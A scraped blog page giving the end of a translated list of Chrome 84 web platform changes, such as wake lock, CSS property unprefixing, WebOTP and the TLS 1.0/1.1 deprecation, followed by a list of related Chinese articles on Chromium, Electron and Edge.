allows web applications to request a screen wake lock. Under the right conditions, and if allowed, the screen wake lock prevents the system from turning off a device’s screen. <ol start="9"> <li>Unprefixed ‘appearance’ CSS property</li> </ol> This feature introduces ‘appearance’ CSS property, which is the unprefixed version of ‘-webkit-appearance’. <ol start="10"> <li>Unprefixed ruby-position CSS property</li> </ol> The ‘ruby-position’ CSS property controls the position of ruby annotation. It’s the unprefixed version of the ‘-webkit-ruby-position’ property. This property has three possible keywords: ‘over’, ‘under’, and ‘inter-character’. For now, only the first two are being implemented. This change creates feature parity with Firefox. <ol start="11"> <li>Web Animations API</li> </ol> Update the web animations JavaScript API to align with the specifications in https://drafts.csswg.org/web-animations-1/. The Animation interface is extended to include support for promises, replaceable animations, and read-only access to the animation timeline. The Animatable and DocumentOrShadowRoot interfaces are expanded to support getAnimations. The KeyframeEffect interface is expanded to support compositing modes, getKeyframes, setKeyframes, and pseudoElement. <ol start="12"> <li>Web Authenticator API: cross-origin iframe support</li> </ol> Adds support for web authentication calls from cross-origin iframes if enabled by a feature policy. This brings Chrome in line with the Web Authentication level two specification (https://w3c.github.io/webauthn/#sctn-iframe-guidance). <ol start="13"> <li>WebOTP</li> </ol> The WebOTP API (formerly called the SMS Receiver API) notifies an application when a specially-crafted SMS message is delivered to the user’s phone. The message must be addressed to the application’s origin. The application only receives an OTP code in the message. <ol start="14"> <li>fractionalSecondDigits option for Intl.DateTimeFormat</li> </ol> Enhances the Intl.DateTimeFormat API by adding a “ fractionalSecondDigits” option to control the format of fractions of a second. <ol start="15"> <li>revert keyword</li> </ol> The ‘revert’ keyword allows authors to roll back the cascade to the previous cascade level for a given CSS property. For example, on a <code><div></code> element, specifying ‘display:revert’ will cause the computed value of ‘display’ to be ‘block’ (assuming no user styles). <ol start="16"> <li>@import rules in CSSStyleSheet.replace()</li> </ol> The original spec for constructable stylesheets allowed for calls to sheet.replace(“@import(‘some.css’);”). This use case is being removed - calls to replace() will throw an exception if @import rules are found in the replaced content. The CSS Working Group resolved to remove this feature on Feb 19, 2020: https://github.com/WICG/construct-stylesheets/issues/119#issuecomment-588352418. This feature was deprecated in M83, and will be removed in M84. <ol start="17"> <li>TLS 1.0 and TLS 1.1</li> </ol> This removal has been delayed in Stable until Chrome 84. TLS 1.0 and 1.1 were deprecated in Chrome 72 with a planned removal in Chrome 81 (in early 2020). Other browsers are also removing support for TLS 1.0 and 1.1 at this time. Previously, we showed a deprecation warning in DevTools. In M-79, Chrome marked affected sites as “Not Secure”. In M-84, Chrome will show a full page interstitial warning on sites that do not support TLS 1.2 or higher. In M-98, the error will no longer be bypassable. <ol start="18"> <li>Blocking insecure downloads from secure (HTTPS) contexts</li> </ol> Chrome intends to block insecurely-delivered downloads initiated from secure contexts (“mixed content downloads”). Chrome will begin warning on, then blocking, progressively more mixed content downloads until all such downloads are silently blocked. </div> </div> </div> </div> </div>  <div id="SOHUCS" sid="1714649369673805824"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script>  <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad">  <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div>  <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div>  <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(chromium,chromium)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1833643570259652608.htm" title="使用Electron读取本地文件" target="_blank">使用Electron读取本地文件</a> ch_s_t <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E5%BC%80%E5%8F%91/1.htm">前端开发</a><a class="tag" taget="_blank" href="/search/electron/1.htm">electron</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>Electron原来叫AtomShell,可以用Web技术搭建桌面端程序，以Electron为基础，可以用HTML，CSS和javascriptpt实现程序逻辑和用户桌面，Electron程序一般有主进程和渲染进程，主进程是启动程序的Node脚本，提供对原生的node模块访问。渲染进程是由chromium管理的Web界面。以下的内容介绍从零开始搭建一个读取本地文件的Electron项目。一运行简单</div> </li> <li><a href="/article/1833401111172706304.htm" title="Puppeteer-Sharp：无头浏览器.NET API探索" target="_blank">Puppeteer-Sharp：无头浏览器.NET API探索</a> 井唯喜 <div>Puppeteer-Sharp：无头浏览器.NETAPI探索puppeteer-sharp项目地址:https://gitcode.com/gh_mirrors/pup/puppeteer-sharp项目介绍Puppeteer-Sharp是一个.NET版本的官方Node.jsPuppeteer库的移植。它允许开发者在.NET环境下远程控制Chromium或Chrome浏览器，进行网页操作、截图、生</div> </li> <li><a href="/article/1831573493209198592.htm" title="Chromium编译指南2024 Windows11篇-开始编译Chromium项目（七）" target="_blank">Chromium编译指南2024 Windows11篇-开始编译Chromium项目（七）</a> 守城小轩 <a class="tag" taget="_blank" href="/search/%E6%B5%8F%E8%A7%88%E5%99%A8%E5%BC%80%E5%8F%91/1.htm">浏览器开发</a><a class="tag" taget="_blank" href="/search/chrome/1.htm">chrome</a><a class="tag" taget="_blank" href="/search/chrome/1.htm">chrome</a><a class="tag" taget="_blank" href="/search/devtools/1.htm">devtools</a> <div>1.前言在上篇文章《Chromium编译指南2024（六）》中，已经完成90%的准备工作了现在，我将正式开始编译Chromium项目了！2.编译Chromium这里我们使用“autoninja-C./out/devchrome”命令来编译chromium因为项目较大，请耐心等待编译完成，根据电脑性能一般需要3-6小时如果编译途中不小心中断编译，您随时可以使用“autoninja-C./out/de</div> </li> <li><a href="/article/1831379608839221248.htm" title="【必读】全面探索与实践：Microsoft Edge 使用方法和心得大全" target="_blank">【必读】全面探索与实践：Microsoft Edge 使用方法和心得大全</a> JKooll <a class="tag" taget="_blank" href="/search/edge/1.htm">edge</a> <div>目前浏览器已成为我们连接世界的主要工具之一。在众多浏览器中，MicrosoftEdge以其独特的特性和不断创新的精神，逐渐在用户心中占据了一席之地。自从2015年随Windows10一起首次亮相以来，Edge经历了重要的转型，从最初的EdgeHTML内核转向了更为广泛支持的Chromium架构。这一改变不仅加快了其性能，也极大地扩展了其功能性，使其成为一个值得注意的竞争者。选择使用Microsof</div> </li> <li><a href="/article/1831242241381855232.htm" title="vue2结合electron开发桌面端应用" target="_blank">vue2结合electron开发桌面端应用</a> vitenode <a class="tag" taget="_blank" href="/search/%E6%A1%8C%E9%9D%A2%E7%AB%AF/1.htm">桌面端</a><a class="tag" taget="_blank" href="/search/Electron/1.htm">Electron</a><a class="tag" taget="_blank" href="/search/vue/1.htm">vue</a><a class="tag" taget="_blank" href="/search/electron/1.htm">electron</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>一、Electron是什么？Electron是一个使用JavaScript、HTML和CSS构建桌面应用程序的框架。嵌入Chromium和Node.js到二进制的Electron。允许您保持一个JavaScript代码代码库并创建可在Windows、macOS和Linux上运行的跨平台应用。Electron提供了丰富的本地（操作系统）API，使你能够使用纯JavaScript来创建桌面应用程序。E</div> </li> <li><a href="/article/1830121913104560128.htm" title="【自动化】一共获取6600多公司信息【逆向】一页15还加密。" target="_blank">【自动化】一共获取6600多公司信息【逆向】一页15还加密。</a> 青龙摄影 <a class="tag" taget="_blank" href="/search/%E8%87%AA%E5%8A%A8%E5%8C%96/1.htm">自动化</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>一、【逆向】一页15还加密。二、【自动化】一共获取6600多公司信息三、对于两种方式我喜欢第二种自动化fromDrissionPageimportChromiumPage,ChromiumOptionsimporttime#chrome:versionco=ChromiumOptions().set_paths(browser_path=r"C:\Users\lenovo\AppData\Loca</div> </li> <li><a href="/article/1829959563181387776.htm" title="快速上手 Electron 及推荐库" target="_blank">快速上手 Electron 及推荐库</a> Liumoui <a class="tag" taget="_blank" href="/search/electron/1.htm">electron</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>###快速上手Electron及推荐库####什么是Electron?Electron是一个基于Node.js和Chromium的框架，用于构建跨平台的桌面应用程序。它将网页技术（HTML、CSS和JavaScript）带入桌面应用开发，允许开发者使用熟悉的前端技术构建功能强大的桌面应用。####Electron的基本概念1.**主进程和渲染进程**-**主进程**：运行在Node.js环境中，负</div> </li> <li><a href="/article/1828446950471593984.htm" title="Liunx入门" target="_blank">Liunx入门</a> weixin_30252709 <a class="tag" taget="_blank" href="/search/awk/1.htm">awk</a><a class="tag" taget="_blank" href="/search/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/1.htm">操作系统</a> <div>Linux是遵循GPL协议的unix-like操作系统。(opensource)。软件可移植性强。以下的基本知识和命令在ubuntu14.04测试可行：设置开机启动项：开机自动启动chromium-browsercd/etc/profile.dsudomkdirchromium.shsudochmod-R644chromium.sh向其中添加：nohupchromium-browser&>>/ho</div> </li> <li><a href="/article/1828417834422726656.htm" title="快手小店自动回复机器人脚本" target="_blank">快手小店自动回复机器人脚本</a> 清缓 <a class="tag" taget="_blank" href="/search/%E5%BF%AB%E6%89%8B%E5%B0%8F%E5%BA%97%E6%9C%BA%E5%99%A8%E4%BA%BA/1.htm">快手小店机器人</a><a class="tag" taget="_blank" href="/search/%E5%BF%AB%E6%89%8B%E5%B0%8F%E5%BA%97%E8%87%AA%E5%8A%A8%E5%9B%9E%E5%A4%8D/1.htm">快手小店自动回复</a><a class="tag" taget="_blank" href="/search/%E5%BF%AB%E6%89%8B%E6%9C%BA%E5%99%A8%E4%BA%BA/1.htm">快手机器人</a><a class="tag" taget="_blank" href="/search/%E5%BF%AB%E6%89%8B%E6%9C%BA%E5%99%A8%E4%BA%BA%E8%BD%AF%E4%BB%B6/1.htm">快手机器人软件</a><a class="tag" taget="_blank" href="/search/%E5%BF%AB%E6%89%8B%E5%A4%9A%E5%BC%80%E8%BD%AF%E4%BB%B6/1.htm">快手多开软件</a><a class="tag" taget="_blank" href="/search/%E7%94%9C%E7%BE%8A%E6%B5%8F%E8%A7%88%E5%99%A8/1.htm">甜羊浏览器</a><a class="tag" taget="_blank" href="/search/%E5%BF%AB%E6%89%8B%E6%9C%BA%E5%99%A8%E4%BA%BA%E8%84%9A%E6%9C%AC/1.htm">快手机器人脚本</a> <div>快手小店自动回复机器人是一种利用人工智能AI技术，能够根据用户的会话咨询内容自动回复的工具。这种机器人可以帮助快手小店主快速、高效地回复客户消息，提升店铺的客户服务质量和销售效率。甜羊浏览器是一款基于Chromium内核开发的国产浏览器，具有轻便、快速、安全稳定等特点。甜羊浏览器内置了丰富的扩展，可以方便地自定义浏览器功能，满足用户的个性化需求。如何利用甜羊浏览器实现快手小店自动回复机器人呢？下面</div> </li> <li><a href="/article/1827609692420009984.htm" title="微软 Edge 浏览器全解析" target="_blank">微软 Edge 浏览器全解析</a> vvvae1234 <a class="tag" taget="_blank" href="/search/visual/1.htm">visual</a><a class="tag" taget="_blank" href="/search/studio/1.htm">studio</a><a class="tag" taget="_blank" href="/search/code/1.htm">code</a> <div>自2015年微软首次推出Edge浏览器以来，它经历了多次改版和升级，特别是在2020年随着基于Chromium内核的新Edge发布后，得到了广泛的关注。凭借其卓越的性能、丰富的功能和良好的用户体验，Edge迅速成为许多人的首选浏览器。本文将对微软Edge浏览器进行全面解析，从安装与设置、核心功能、扩展程序的使用到实用技巧，帮助用户充分利用这个强大的浏览器。1.微软Edge浏览器概述1.1基于Chr</div> </li> <li><a href="/article/1827447854042542080.htm" title="Electron入门教程2 ——进程模型" target="_blank">Electron入门教程2 ——进程模型</a> 害恶细君 <a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E6%A1%86%E6%9E%B6/1.htm">前端框架</a><a class="tag" taget="_blank" href="/search/electron/1.htm">electron</a><a class="tag" taget="_blank" href="/search/chrome/1.htm">chrome</a><a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a> <div>欢迎来到Electron的第二期入门教程，上一期我们从零开始编写并发布了第一个简单的windows桌面应用程序，对electron的项目结构等也有了基本了解。这一期开始，会继续深入地学习Electron的其他知识点，这一节概念性的东西会比较多，虽然后面也有实操的点,但重在理解。上一节写preload.js的时候，就提到过进程相关的概念，但是并没有详细地去学习。Electron继承了Chromium</div> </li> <li><a href="/article/1827386087392243712.htm" title="Puppeteer前端插件" target="_blank">Puppeteer前端插件</a> Hello.Reader <a class="tag" taget="_blank" href="/search/web/1.htm">web</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a> <div>一、概述Puppeteer是一个Node库，它提供了一个高级API来通过DevTools协议控制Chromium或Chrome。Puppeteer默认以headless模式运行，但是可以通过修改配置文件运行“有头”模式。你可以在浏览器中手动执行的绝大多数操作都可以使用Puppeteer来完成！下面是一些示例：生成页面PDF。抓取SPA（单页应用）并生成预渲染内容（即“SSR”（服务器端渲染））。自</div> </li> <li><a href="/article/1827162368828862464.htm" title="微软 Edge 浏览器全解析" target="_blank">微软 Edge 浏览器全解析</a> shyuu_ <a class="tag" taget="_blank" href="/search/edge/1.htm">edge</a><a class="tag" taget="_blank" href="/search/edge%E6%B5%8F%E8%A7%88%E5%99%A8/1.htm">edge浏览器</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/microsoft/1.htm">microsoft</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>文章目录微软Edge浏览器全解析1.引言2.历史背景与发展历程2.1InternetExplorer的时代2.2微软Edge的诞生2.3基于Chromium的微软Edge3.技术架构与性能3.1Chromium内核3.2性能优化3.3安全架构4.主要功能与特点4.1用户界面4.2集成微软生态4.3兼容性与跨平台支持4.4隐私与安全5.扩展与插件支持5.1扩展商店5.2开发者支持6.与其他浏览器的比</div> </li> <li><a href="/article/1826462812508090368.htm" title="够你学习的C++开源库" target="_blank">够你学习的C++开源库</a> 草原上唱山歌 <a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>GoogleChrome源码项目地址：http://src.chromium.org/svn源码Web浏览地址：http://src.chromium.org/viewvc/Google推出的这款具有创新意义的浏览器，它的速度比其它浏览器快太多了，你可以去探索这其中的奥秘，它到底是怎么实现的？采用什么技术能达到这种效果？比如浏览器中每一个标签页都是一个进程，这又是如何实现的？了解这款开源源码，你能</div> </li> <li><a href="/article/1826252935240183808.htm" title="微软Edge浏览器全解析：功能、特点与使用技巧" target="_blank">微软Edge浏览器全解析：功能、特点与使用技巧</a> 阿达C <a class="tag" taget="_blank" href="/search/%E6%B4%BB%E5%8A%A8/1.htm">活动</a><a class="tag" taget="_blank" href="/search/edge/1.htm">edge</a><a class="tag" taget="_blank" href="/search/%E8%81%8C%E5%9C%BA%E5%92%8C%E5%8F%91%E5%B1%95/1.htm">职场和发展</a><a class="tag" taget="_blank" href="/search/%E7%94%9F%E6%B4%BB/1.htm">生活</a><a class="tag" taget="_blank" href="/search/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/1.htm">计算机网络</a><a class="tag" taget="_blank" href="/search/microsoft/1.htm">microsoft</a> <div>微软Edge浏览器自从发布以来，已经成为了一个备受关注的现代浏览器。基于Chromium内核，Edge不仅继承了Chrome的优秀性能，还融入了微软自己的特色功能和服务。本文将全面解析Edge浏览器，包括其主要功能、独特特点以及一些实用的使用技巧，帮助你更好地利用这款浏览器。一、Edge浏览器的历史与发展微软Edge浏览器于2015年首次发布，最初是作为Windows10的默认浏览器，以替代Int</div> </li> <li><a href="/article/1826209954990747648.htm" title="微软 Edge 浏览器全解析" target="_blank">微软 Edge 浏览器全解析</a> 何遇mirror <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/edge/1.htm">edge</a> <div>目录重大发展历程MicrosoftEdge发展历程详细时间线特点使用体验最近的发展MicrosoftEdge最新功能一览微软Edge浏览器是微软公司推出的一款现代网页浏览器，经历几个重要的发展阶段，并且目前基于Chromium开源项目，这使得与GoogleChrome浏览器共享相同的底层技术。以下是关于MicrosoftEdge浏览器的一些关键点：重大发展历程初代Edge：最初在2015年作为Wi</div> </li> <li><a href="/article/1769420711954284544.htm" title="使用docker搭建chromium" target="_blank">使用docker搭建chromium</a> LogicLancer <a class="tag" taget="_blank" href="/search/docker/1.htm">docker</a><a class="tag" taget="_blank" href="/search/%E5%AE%B9%E5%99%A8/1.htm">容器</a> <div>使用DockerCLI首先，你需要确保已经安装了Docker。以下是使用Docker命令行界面（CLI）搭建linuxserver/chromium的步骤：拉取linuxserver/chromium镜像：dockerpulllinuxserver/chromium这将从DockerHub上拉取最新的linuxserver/chromium镜像。创建并启动容器：dockerrun-d\--name</div> </li> <li><a href="/article/1759659426249273344.htm" title="Electron实战之入门" target="_blank">Electron实战之入门</a> xiangzhihong8 <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/Electron/1.htm">Electron</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E6%A1%86%E6%9E%B6/1.htm">前端框架</a><a class="tag" taget="_blank" href="/search/electron/1.htm">electron</a> <div>一、Electron简介1.1Electron是什么Electron是一个使用JavaScript、HTML和CSS构建桌面应用程序的技术框架。嵌入Chromium和Node.js到二进制的Electron允许开发者使用JavaScript代码来创建允许在Windows、macOS和Linux等平台。1.2发展历程2013年的时候，Atom编辑器问世，作为实现它的底层框架Electron也逐渐被熟</div> </li> <li><a href="/article/1757929584071819264.htm" title="微软 Edge 浏览器稳定版现可在 Linux 上使用" target="_blank">微软 Edge 浏览器稳定版现可在 Linux 上使用</a> 开源Linux <a class="tag" taget="_blank" href="/search/%E5%BE%AE%E8%BD%AF/1.htm">微软</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/chrome/1.htm">chrome</a><a class="tag" taget="_blank" href="/search/gradle/1.htm">gradle</a> <div>Linux用户能够使用微软基于Chromium的Edge浏览器已经有一段时间了，但一直只是DevBuild和beta版本。近日，这家软件巨头已经更新了其Edge软件库，增加了新的稳定版浏览器，所以如果你运行的是Linux操作系统，并想在现有浏览器的基础上试用Edge，已经可以放心下载了。微软还没有正式对外宣布这个新版本，而是仅仅提供了下载，所以确切的变化现在还不清楚，但看到浏览器在开发一年后终于达</div> </li> <li><a href="/article/1757929456783081472.htm" title="linux开放端口17001,适用于Linux系统的Microsoft Edge将于2020年10月启动" target="_blank">linux开放端口17001,适用于Linux系统的Microsoft Edge将于2020年10月启动</a> 夏朱 <a class="tag" taget="_blank" href="/search/linux%E5%BC%80%E6%94%BE%E7%AB%AF%E5%8F%A317001/1.htm">linux开放端口17001</a> <div>微软基于Chromium的长期以来一直在谣言中的尽管新的目前，我们没有发布日期，但是大概是在10月的第二个或第三个星期(补丁星期二和安全更新发布)时发布。正如我们已经指出的那样，Microsoft微软一直在为开源社区做出积极贡献。使用Chrome的Linux用户可能希望使用MicrosoftEdge，因为它可以更好地控制隐私和安全性。与Chrome相比，MicrosoftEdge更快，并且浏览器的</div> </li> <li><a href="/article/1757929457231872000.htm" title="edge linux 下载软件,微软 Chromium 版 Edge 浏览器 Linux 版首次亮相" target="_blank">edge linux 下载软件,微软 Chromium 版 Edge 浏览器 Linux 版首次亮相</a> 沼泽无它 <a class="tag" taget="_blank" href="/search/edge/1.htm">edge</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E4%B8%8B%E8%BD%BD%E8%BD%AF%E4%BB%B6/1.htm">下载软件</a> <div>IT之家5月20日消息微软于今年1月份推出的经过改进的Chromium版Edge浏览器已进入Linux操作系统，并有望在今年晚些时候在开源平台上发布。Chromium版Edge广受好评，现已在Windows和macOS系统上提供。微软最近确认Linux版本也正在运行开发。微软计划到2020年底在所有主要的台式机和移动操作系统上提供Edge浏览器。去年，Edge开发团队还对Web开发人员进行了一项调</div> </li> <li><a href="/article/1757929330450644992.htm" title="chrome扩展运行linux,微软 Chromium 版 Edge 浏览器 Linux 版首次亮相支持Chrome扩展" target="_blank">chrome扩展运行linux,微软 Chromium 版 Edge 浏览器 Linux 版首次亮相支持Chrome扩展</a> 都不叫阿布呢 <a class="tag" taget="_blank" href="/search/chrome%E6%89%A9%E5%B1%95%E8%BF%90%E8%A1%8Clinux/1.htm">chrome扩展运行linux</a> <div>微软于今年1月份推出的经过改进的Chromium版Edge浏览器已进入Linux操作系统，并有望在今年晚些时候在开源平台上发布。Chromium版Edge广受好评，现已在Windows和macOS系统上提供。微软最近确认Linux版本也正在运行开发。微软计划到2020年底在所有主要的台式机和移动操作系统上提供Edge浏览器。去年，Edge开发团队还对Web开发人员进行了一项调查，以征询他们对Lin</div> </li> <li><a href="/article/1757823850617257984.htm" title="Kibana启动问题" target="_blank">Kibana启动问题</a> qinghuazs <a class="tag" taget="_blank" href="/search/elasticsearch/1.htm">elasticsearch</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%95%B0%E6%8D%AE/1.htm">大数据</a><a class="tag" taget="_blank" href="/search/%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E/1.htm">搜索引擎</a> <div>chrome-mac.zip无法下载本地重新启动时提示chrome-mac.zip丢失，在去远程下载chrome-mac.zip时访问超时，日志如下[2022-09-05T11:57:55.901+08:00][WARN][plugins.screenshotting.chromium]Browserarchivefordarwin/arm64notfoundin/Users/qinghuazs/</div> </li> <li><a href="/article/1756907856189210624.htm" title="2018-03-21" target="_blank">2018-03-21</a> zhchhhemmm <div>我的笔记关于Chromium源文章地址源代码语言结构Chromium分为三个主要部分（不包括其他库）：浏览器，渲染器和Webkit。浏览器：主流程，代表所有UI和I/O.渲染器：是由浏览器驱动的（通常）每个选项卡子流程.webkit：一个开源的浏览器引擎，它拥有清晰的结构、极快的渲染速度.（好像现在还有一个基于webkit的Blink引擎）解决方案文件解决方案文件是chrome/chrome.sl</div> </li> <li><a href="/article/1756811449558122496.htm" title="Android升级webview内核" target="_blank">Android升级webview内核</a> 印记乄 <div>系统内置的webview内核大多很老旧，性能低下，而最新的chrome内核更新非常快。1、下载最新的chrome内核版本https://www.apkmirror.com/uploads/?q=android-system-webview2、替换原来的webview.apk,external\chromium-webview\prebuilt\arm64。3、修改默认的包名：\frameworks</div> </li> <li><a href="/article/1756631943228702720.htm" title="nodejs爬虫框架" target="_blank">nodejs爬虫框架</a> 自动化新人 <a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a> <div>nodejs爬虫框架在Node.js中，有一些常用的爬虫框架可以帮助你实现网页抓取和数据提取的任务。以下是几个流行的Node.js爬虫框架：1.**Puppeteer**:Puppeteer是由Google开发的一个用于控制headlessChrome或Chromium浏览器的Node.js库。它提供了丰富的API，使你可以模拟用户行为，进行页面导航、表单提交、点击、滚动等操作。由于可以执行Jav</div> </li> <li><a href="/article/1756619322563772416.htm" title="electron+vue 在线编辑 Office Word？" target="_blank">electron+vue 在线编辑 Office Word？</a> <div>Electron桌面应用是基于Chromium内核的，而谷歌Chrome取消了对PPAPI插件支持后，在线Office方案纷纷失效，只能更换国产浏览器在低版本浏览器苟延残喘，不能用于electron+vue项目。市场上的方案很多，有很多免费开源的，同时也有比较成熟的软件比如：猿大师办公助手，大家可以自己选择。1.微软提供的在线Office预览（不能编辑）2.在线Office方案：腾讯文档、石墨文档</div> </li> <li><a href="/article/1756358285818085376.htm" title="unable to access 'https://chromium.googlesource.com/webm/libwebp/': Failed to connect to chromium..." target="_blank">unable to access 'https://chromium.googlesource.com/webm/libwebp/': Failed to connect to chromium...</a> 不羁的躁动 <div>cocoaPods1.8版本之后，项目中导入libwebp库的时候会报错找不到。解决方法如下：shift+command+G~/.cocoapods/repos/trunk/Specs/1/9/2这个时候就可以看到libwebp文件3.查看当前项目中使用的版本，然后打开相应版本号4.打开libwebp.podspec.json文件，将source中的git地址改为"https://github.c</div> </li> <li><a href="/article/1755908834662039552.htm" title="使用chromium代码函数入参和出参传入同一个变量踩到的坑" target="_blank">使用chromium代码函数入参和出参传入同一个变量踩到的坑</a> 写文章的思考者 <a class="tag" taget="_blank" href="/search/chromium/1.htm">chromium</a><a class="tag" taget="_blank" href="/search/Windows/1.htm">Windows</a><a class="tag" taget="_blank" href="/search/C%2FC%2B%2B/1.htm">C/C++</a><a class="tag" taget="_blank" href="/search/chrome/1.htm">chrome</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a> <div>背景：开发一个需求的时候需要用到chromium中的加解密功能，但是发现加密之后解密失败了。伪代码：std::stringtext="encryped-text";boolb=Encryptor::Crypt(false,text,&text);发现b的值为false。备注：base::StringPiece可以简单理解为std::string_view，std::string可以隐式转成该类。调</div> </li> <li><a href="/article/1755907936636387328.htm" title="侵入式智能指针和非侵入式智能指针" target="_blank">侵入式智能指针和非侵入式智能指针</a> 写文章的思考者 <a class="tag" taget="_blank" href="/search/chromium/1.htm">chromium</a><a class="tag" taget="_blank" href="/search/C%2FC%2B%2B/1.htm">C/C++</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/chrome/1.htm">chrome</a> <div>一直有个疑问，为什么chromium代码没有使用shared_ptr呢？在这里讨论：https://groups.google.com/a/chromium.org/g/cxx/c/aT2wsBLKvzI不过我在这里找到了一个简单的答案：https://groups.google.com/a/chromium.org/g/chromium-dev/c/hgQPkvSmYlE?pli=11、scop</div> </li> <li><a href="/article/49.htm" title="辗转相处求最大公约数" target="_blank">辗转相处求最大公约数</a> 沐刃青蛟 <a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a><a class="tag" taget="_blank" href="/search/%E6%BC%8F%E6%B4%9E/1.htm">漏洞</a> <div>无言面对”江东父老“了，接触编程一年了，今天发现还不会辗转相除法求最大公约数。惭愧惭愧！   为此，总结一下以方便日后忘了好查找。   1.输入要比较的两个数a,b   忽略：2.比较大小（因为后面要的是大的数对小的数做%操作）   3.辗转相除（用循环不停的取余，如a%b,直至b=0）   4.最后的a为两数的最大公约数 &</div> </li> <li><a href="/article/176.htm" title="F5负载均衡会话保持技术及原理技术白皮书" target="_blank">F5负载均衡会话保持技术及原理技术白皮书</a> bijian1013 <a class="tag" taget="_blank" href="/search/F5/1.htm">F5</a><a class="tag" taget="_blank" href="/search/%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1/1.htm">负载均衡</a> <div>一.什么是会话保持？        在大多数电子商务的应用系统或者需要进行用户身份认证的在线系统中，一个客户与服务器经常经过好几次的交互过程才能完成一笔交易或者是一个请求的完成。由于这几次交互过程是密切相关的，服务器在进行这些交互过程的某一个交互步骤时，往往需要了解上一次交互过程的处理结果，或者上几步的交互过程结果，服务器进行下</div> </li> <li><a href="/article/303.htm" title="Object.equals方法：重载还是覆盖" target="_blank">Object.equals方法：重载还是覆盖</a> Cwind <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/generics/1.htm">generics</a><a class="tag" taget="_blank" href="/search/override/1.htm">override</a><a class="tag" taget="_blank" href="/search/overload/1.htm">overload</a> <div>本文译自StackOverflow上对此问题的讨论。原问题链接   在阅读Joshua Bloch的《Effective Java（第二版）》第8条“覆盖equals时请遵守通用约定”时对如下论述有疑问： “不要将equals声明中的Object对象替换为其他的类型。程序员编写出下面这样的equals方法并不鲜见，这会使程序员花上数个小时都搞不清它为什么不能正常工作：” pu</div> </li> <li><a href="/article/430.htm" title="初始线程" target="_blank">初始线程</a> 15700786134 <div>      暑假学习的第一课是讲线程，任务是是界面上的一条线运动起来。            既然是在界面上，那必定得先有一个界面，所以第一步就是，自己的类继承JAVA中的JFrame，在新建的类中写一个界面，代码如下： public class ShapeFr</div> </li> <li><a href="/article/557.htm" title="Linux的tcpdump" target="_blank">Linux的tcpdump</a> 被触发 <a class="tag" taget="_blank" href="/search/tcpdump/1.htm">tcpdump</a> <div>用简单的话来定义tcpdump，就是：dump the traffic on a network，根据使用者的定义对网络上的数据包进行截获的包分析工具。 tcpdump可以将网络中传送的数据包的“头”完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息。实用命令实例默认启动 tcpdump 普通情况下，直</div> </li> <li><a 